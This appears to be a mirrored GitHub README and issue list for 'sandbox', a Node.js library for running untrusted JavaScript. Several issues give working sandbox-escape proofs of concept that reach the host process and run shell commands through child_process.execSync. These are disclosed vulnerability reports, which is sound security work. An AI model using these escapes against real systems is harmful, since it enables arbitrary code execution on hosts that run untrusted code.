Giter Club home page Giter Club logo

sandbox's Introduction

🏖️ sandbox

A nifty JavaScript sandbox for Node.js.
Latest Release Build Status

What is it?

It can...

  • Be used to execute untrusted code
  • Timeout long-running code and infinite loops
  • Handle errors gracefully
  • Run restricted code
  • Pass rich data structures back
  • Capture console output
const s = new Sandbox();

s.eval("const o = { answer: 4.2 }; o", function(err, res) {
  console.log("The answer is: %d", res.answer * 10); // The answer is: 42
});

Installation

npm install --save sandbox

By default the package will attempt to download the corresponding binary release for your platform. If you wish to skip this action you can set the SANDBOX_SKIP_DOWNLOAD environment variable:

env SANDBOX_SKIP_DOWNLOAD=1 npm install --save sandbox

Usage

NOTE: As it stands, only values that can be serialized to JSON may be returned.

About

sandbox is a tool to allow safe local execution of JavaScript.

The previous version of sandbox attempted to accomplish this by spawning a child process and running the untrusted code in a new Node.js context with known exploits patched. Unfortunately this didn't work well from a security standpoint and it became increasingly difficult to keep up with the whack-a-mole of security vulnerabilities. In fact, the previous version still has unaddressed vulnerabilities that are impossible to patch with that architecture.

The current version of sandbox takes a new approach—it embeds a JavaScript interpreter in the library which executes code in a separate context in another thread. This is made possible with the help of two incredible projects:

  • Boa - a JavaScript interpreter written in Rust
  • Neon - a library for interfacing with Node-API

The major drawback to this approach is that it either requires the user to build the sandbox locally from source (which requires the user to have the rust build tools onhand) or provide pre-built binaries for every platform would need to be provided. In order to make things a little more seamless for users, we've opted to provided pre-built binaries for the following platforms:

  • Linux x86_64
  • MacOS arm64
  • MacOS x86_64
  • Windows x86_64

Given these targets we should be able to meet the needs of most users.

Building

First, if you don't already have the rust toolchain installed you can follow the instructions for installing rustup:

Install rust.

Next, running npm run build will attempt to build the project with cargo and move the compiled binary to ./index.node.

At this point you should be able to work with sandbox and run the tests: npm test.

Learn More

To learn more about Neon, see the Neon documentation.

To learn more about Rust, see the Rust documentation.

To learn more about Node, see the Node documentation.

sandbox's People

Contributors

gf3 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sandbox's Issues

Sandbox Escape Bug

  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
    try{ 
__defineGetter__("x", );

 } catch(ret){
    ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
}
`

s = new Sandbox()
s.run(code)

Sandbox can be escaped by calling __defineGetter__ or __defineSetter__ function.
Also, we can execute arbitrary shell code using process module.

Exposing a context to the executed code

Perhaps this is related to the existing issue about plugins, but for me at least it is desirable to expose some local variables to the code being run; even Node.js methods.

showel.js - result: util.inspect( result ) - why?

The resulting object is formed as:

{ result: util.inspect( result ), console: console } )

Why? I suppose it breaks the semantic: why to add additional quoting for the result at that level of abstraction (the more - with util.inspect, which is usable for debugging purposes, not for serialization)?

Running outside of node?

Is it possible to use gf3 outside of node.js? I'm running Google V8 server side and have some arbitrary code I need to run in a sandbox environment. Any thoughts on whether this is currently possible or easily modified to handle this???

Sandbox Escape Bug

  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
try{ 
    const proto = {};
    const obj = { __proto__: {} };
    proto[Symbol.unscopables] = {};
    with (proto) {
      isPrototypeOf(obj);
    }
} catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
}
`

s = new Sandbox()
s.run(code)

Sandbox can be escaped by TypeError which can be occurred when it cannot convert undefined or null to object.
Also, we can execute arbitrary shell code using process module.

console.log

When ever i try to use console.log, nothing happens..

Code:
(function () { console.log('This should work...'); return 'blah'; })();

Result:
'blah'

Data:
{"console":[]}

.run dies when out of memory?

The following code terminates node with a SyntaxError:

(new Sandbox).run("var s = \"a\"; for (i = 0; i < 100; ++i) s += s; ", function() {})

The 100 may possibly be platform dependent. This is on Linux, x86_64.

Leak + "use strict"

The following shows a leak:

Sandbox=require('sandbox');
s=new Sandbox();
function dump(c){
  console.error(c)
};

s.run('('+f.toString()+')()',dump)
function f(){
  var p=f.caller.constructor("return process")();
//  p.stdout.write("{\"result\":"+JSON.stringify(p.env.USER)+"}");
  console.log(Object.keys(p));
//  p.stdout.write=function(){};
  return 1;
}

The calling function is leaking info, the way around this is to wrap any user script in a function that is created inside of the sandbox and only allow communication through closures. IE:

x=1

becomes

(function () {
var global = this;
// Keep it outside of strict mode
function UserScript(str) {
  return eval(str)
}
// place with a closure that is not exposed thanks to strict mode
return function(comm, src){
  // stop argument / caller attacks
  "use strict";
  var send = function (event) {
     comm.send(event, JSON.stringify([].slice.call(arguments,1)));
  }
  global.print = send.bind(global, 'stdout')
  global.console = {};
  global.console.log =send.bind(global, 'stdout')
  send('stdout',UserScript(src))
}
})()

Once you get the safe function you would then invoke it using f(comm,'x=1').

It is not pretty but prevents leaks.

Error: Resource temporarily unavailable.

Example 5 (the Infinite loop one) sometimes throws this:

Error: Resource temporarily unavailable
    at Timer.<anonymous> (/home/graphnode/code/node-sandbox/lib/sandbox.js:33:13)
    at node.js:1055:9

I was unable to fix it or find the reason for this.

sandbox can be broken out of

Using JavaScriptStackTraceApi, it is possible to break out of the sandbox and get full access to the node.js api. Removing Error.captureStackTrace alone does not fix this issue, and I haven't found a pure javascript fix, yet. (freezing Error.prepareStackTrace, maybe?). I have a POC, but am hesitant to release it.

Sandbox Escape Bug

  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
Error.prepareStackTrace = (_, c) => c[0].getThis();
const ret = Error().stack;
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
`

s = new Sandbox()
s.run(code)

Affected versions of this package are vulnerable to remote code execution. Especially, the attacker is able to access to host error objects during the generation of a stack trace, which can lead to execution of arbitrary code on the host machine.

Options is never used.

function Sandbox(options) {
  ...

  self.options = {
    timeout: 500,
    node:    'node',
    shovel:  path.join(__dirname, 'shovel.js')
  };

  ...
}

The options object is passed through to the sandbox, but never actually used.

CPU/mem limits on child processes

At the moment the sandbox run time is limited by wall clock time - would be good to find a way to limit it by more precise factors e.g. CPU clock time, memory size etc. I know very little about this stuff - any way to use POSIX setrlimit() here?

shovel.js Newlines

What is the reasoning for:

this.toString().replace( /([rn])/g, "\$1" )

in shovel.js on like 38 or so? It's not the best way to approach it IMO, it's causing a few bugs

Concurrency problem: child.exit occurs before final child.stdout.data

For grunt-ngbuild, I am spawning lots of Sandboxes in parallel to parse files. I was frequently getting this error:

SyntaxError: Unexpected end of input
    at Object.parse (native)
    at ChildProcess.<anonymous> (/Users/eli/code/grunt-angular-builder/node_modules/sandbox/lib/sandbox.js:27:34)
    at ChildProcess.EventEmitter.emit (events.js:98:17)
    at Process.ChildProcess._handle.onexit (child_process.js:797:12)

which I tracked down to an empty stdout on sandbox.js:27. Apparently that "exit" event is being called before the preceding stdout event, so we're trying to call the callback before we've gotten the data from the exiting program. I'm not sure why this happens; maybe it's a node bug. (I don't know node's child process even model biz well enough to diagnose, anyway). It never ever happened when I wasn't spawning a bunch of processes in parallel (using async.eachSeries instead of async.each).

In any event, the problem is fixed as long as I wrap the hollaback call in a setImmediate. Pull Request incoming shortly.

sandbox can crash the process

Best not allow the user to specify message names (wrap them in another message). Messages starting with NODE_ have internal meanings (search the documentation for internalMessage).

Testcase:

const Sandbox = require('sandbox')

function runInSandbox() {
    postMessage({
        cmd: "NODE_HANDLE",
        type: "net.Server",
    })
}

void function() {
    const s = new Sandbox();
    s.run(`
        ${runInSandbox.toString()};
        runInSandbox();
    `)
}()

onmessage function is not being called, causing timeout when defined.

Hi,

I've been playing with Sandbox on node 0.10.33 on OSX. I can send message from inside the Sandbox out the host environment. When I try and postMessage() into the Sandbox and with an onmessage function defined, the run() method times out.

Here's my code

var Sandbox = require('sandbox');

sb = new Sandbox();
sb.on('message', function (message) { 
  console.log("outer message handler: "+message); 
});
sb.on('ready', function() { 
  console.log('ready. posting...'); 
  sb.postMessage("calling when ready"); 
});
sb.run("postMessage('message from inside'); 10 + 10;", function(output) { 
  console.log(output) 
});



sb = new Sandbox();
sb.on('message', function (message) { 
  console.log("outer message handler: "+message); 
});
sb.on('ready', function() { 
  console.log('ready. posting...'); 
  sb.postMessage("calling when ready"); 
});
sb.run("onmessage = function (msg) { console.log(msg); };", function(output) { 
  console.log(output) 
});

Producing the following output:

outer message handler: message from inside
ready. posting...
{ result: '20', console: [] }
ready. posting...
{ result: 'TimeoutError', console: [] }    

Is anyone else seeing this problem? I've run the test code and it passes on my machine. If I modify the test code by removing the spies, then the same timeout problem occurs.

A little help appreciated,
Ijonas.

Sandbox Escape Bug

  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
try{
    propertyIsEnumerable.call(undefined,);
} catch (pp) {
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
}
`

s = new Sandbox()
s.run(code)

Sandbox can be escaped by calling propertyIsEnumerable.call function.
Also, we can execute arbitrary shell code using process module.

Why not give some hint (in the documentation) on how it works... ?

I have browsed the code of sandbox and I get the idea that somehow we make this sandboxing happening by way of spawing a childprocess which cannot anymore easily access stuff (i.e. I could imagine that there is a case not allowing require("fs") to happen, since this way we can be safer that no modification to files will happen).

Is this proceding of

  1. spawn a child process
  2. limit its access to privileged stuff (what that is, might be defined, right? i.e. sometimes my sandbox should allow fs reads but no fs.writes, sometimes neither) for the child process.

Actually maybe it is the other way 2) then 1) .... anyway

My suggestion or "issue" would be that it would imho greatly improve the understanding if the documentaiton gave some glue on how this sandboxing is actually achieved.
By this it would also allow to seek for potential ways to escape the sandbox, which in turn can then be used to improve the sandbox.

I think sandbox is great!.

Babel

Would it be safe to use babel to transform untrusted code before using the sandbox, or is would that open up opportunity for an attack?

Async functions in sandbox support?

I'm looking through the docs on async functions.
Are there any configurations which would allow for example setTimeout to work?

I think this would be an issue for Node < 12.0. What Node versions does this library target?

Thanks in advance

the speed is too slow

my code

var a=0;
var j=10000;
for (var i=0; i<=j;i++){
a=a+i_i_30+i/2+i/2;
}

for eval(js)

1 ms

for sandbox

188ms

is there a way to improve the speed?

Thanks

controlled exposure

The code is sandboxed - can i throw some toys into the box? for instance if i want to let the user-provided code to get data via HTTP calls, how would I do that?
Thanks

Sandbox Escape Bug

  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
const ret = import('oops!');
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
`

s = new Sandbox()
s.run(code)

Sandbox can be escaped by calling import() function.
Also, we can execute arbitrary shell code using process module.

push new version

i see that your current code appears to fix the result.console bug as reported in #17
was wondering if this was going to be published to npm to make deployment of modules depending on this one easier?

Error: write EPIPE

The following script (run_stdin.js):

var Sandbox = require('./sandbox/lib/sandbox');
var s = new Sandbox();
var code = '';
var stdin = process.stdin;
stdin.resume();
stdin.setEncoding('utf8');
stdin.on('data', function(data) { code += data });
stdin.on('end', function() {
    s.run(code, function(output) {
        console.log(output);
    });
});

The following error when I run it:

# node -v
v0.6.8
# echo "1+1" | node run_stdin.js

node.js:201
        throw e; // process.nextTick error, or 'error' event on first tick
              ^
Error: write EPIPE
    at errnoException (net.js:642:11)
    at Object.afterWrite [as oncomplete] (net.js:480:18)

If I replace stdin reading with direct

s.run("1+1", function(output) {
    console.log(output);
});

everything works fine.

How to deal with this?..

How to distinguish normal vs exceptional results?

Right now, it seems difficult to distinguish normal vs exceptional results. How hard would it be to add an additional field to "output", like "output.error", that would be set if and only if an exception were raised. Looking at the code, some cases would be easy to handle, including:

But what about valid code that logs some stdout but then raises an error itself? Can this kind of exceptional result be detected?

Plugin system

The sandbox is not 100% useful if we cannot contribute some functions/modules to it.

I've started yesterday a fork (but did not push any code yet to github) to use broadway as a plugin system. I think I'd also like to use either node-0.6 child api or node*fork as a fallback for exchanging between sandbox and shovel.

I've notably moved the "console" available in the sandbox as a plugin. I'd also like to provide some great control over the sandbox (set cpu/memory limits, chroot, etc.) for posix platforms thanks to a plugin based on node-posix.

Are you interested in such a patch, and will you maintain the result actively, or should I fork the project, rename it and publish it on my own ?

Exposes underlying node libraries.

s.run("1 + 1; } sys= require('sys'); sys.puts('Up in your fridge'); function foo() {", function(output) {
sys.puts("Example: " + output + "\n");
});

Sandbox Escape Bug

  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
    try{ 
        toLocaleString()
     } catch(pp){
        pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
    }
`

s = new Sandbox()
s.run(code)

We found a sandbox escaping bug. This bug can be triggered by calling toLocaleString() function.
Also, we can execute arbitrary shell code using the process module.

Need to update required version of Node

The security enhancements that @bmeck made require the use of "use strict". After some reading, "use strict" doesn't appear in node.js until sometime after v0.5.0. I tried to find the exact version but I haven't found it yet. package.json should be updated to prevent versions of node that do not implement "use strict" from installing the module.

Output with v0.6.6 (latest)

Example 1: 2

Example 2: 'Hi there, Fabio!'

Example 7: []

Example 6: 'TypeError: Illegal access to a strict mode caller function.'

Example 8: 'TypeError: Cannot read property \'name\' of null'

Example 3: 'SyntaxError: Unexpected token )'

Example 4: 'ReferenceError: process is not defined'

Example 9: { console: {}, x: 1 }

Example 5: TimeoutError

Output with v0.4.12

Example 1: 2

Example 2: 'Hi there, Fabio!'

Example 4: 'ReferenceError: process is not defined'

Example 9: { console: {}, x: 1 }

Example 3: 'SyntaxError: Unexpected token )'

Example 6: null

Example 7: []

Example 8: 'BasicSerializeArray'

Example 5: TimeoutError

Sandbox can be broken.

Using functions and constructors, its possible to escape the sandbox to get process, which can be used to get require that can be used for evil things like a reverse shell.

Code:
new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")
A, I hope, more readable (because of how hacky the thing is its difficult) version:

new Function("
  return (
    this.constructor.constructor('
      return (this.process.mainModule.constructor._load
     )'
    )())"
  )()
("util").inspect("hi")

Sandbox Escape Bug

  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
    try{ 
        valueOf()
    } catch(pp){
        pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
    }
`

s = new Sandbox()
s.run(code)

We found a sandbox escaping bug. This bug can be triggered by calling valueOf() function.
Also, we can execute arbitrary shell code using the process module.

TimeoutError at every run.

Node 0.6.19 and sandbox 0.8.4 :
Running sandbox_test and example.js it barks TimeoutError as each output.
Tested in Debian 6.0.4 and latest Fedora.
update: tried changing the timeout prop inside sandbox.js to 5000 instead of 500 but i've got the same results.

output.console is empty

var code = "function add( a, b ){console.log( a );console.log( b );return a + b}add( 20, 22 );";


s.run( code, function( output ) {
  console.log(output.result + "\n" + output.console);
})

Yields:

42

Use node modules

How can I access outside code? I would expect a sandbox module to allow you to specify objects to expose in the sandbox, but there doesn't seem to be a way to do this.

status of this project?

Looks like the last commit was in 2014. Is this project still maintained or should it be considered EOL? @gf3

Returning objects is currently not possible

When returning a result object from shovel.js, you're using util.inspect - however, an object passed this way will not be usable on the other side (after JSON.parse, it will be a string that can't be turned back to a JSON, unless one uses eval()). Omitting util.inspect would be enough for this to work as JSON.stringify works recursively.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.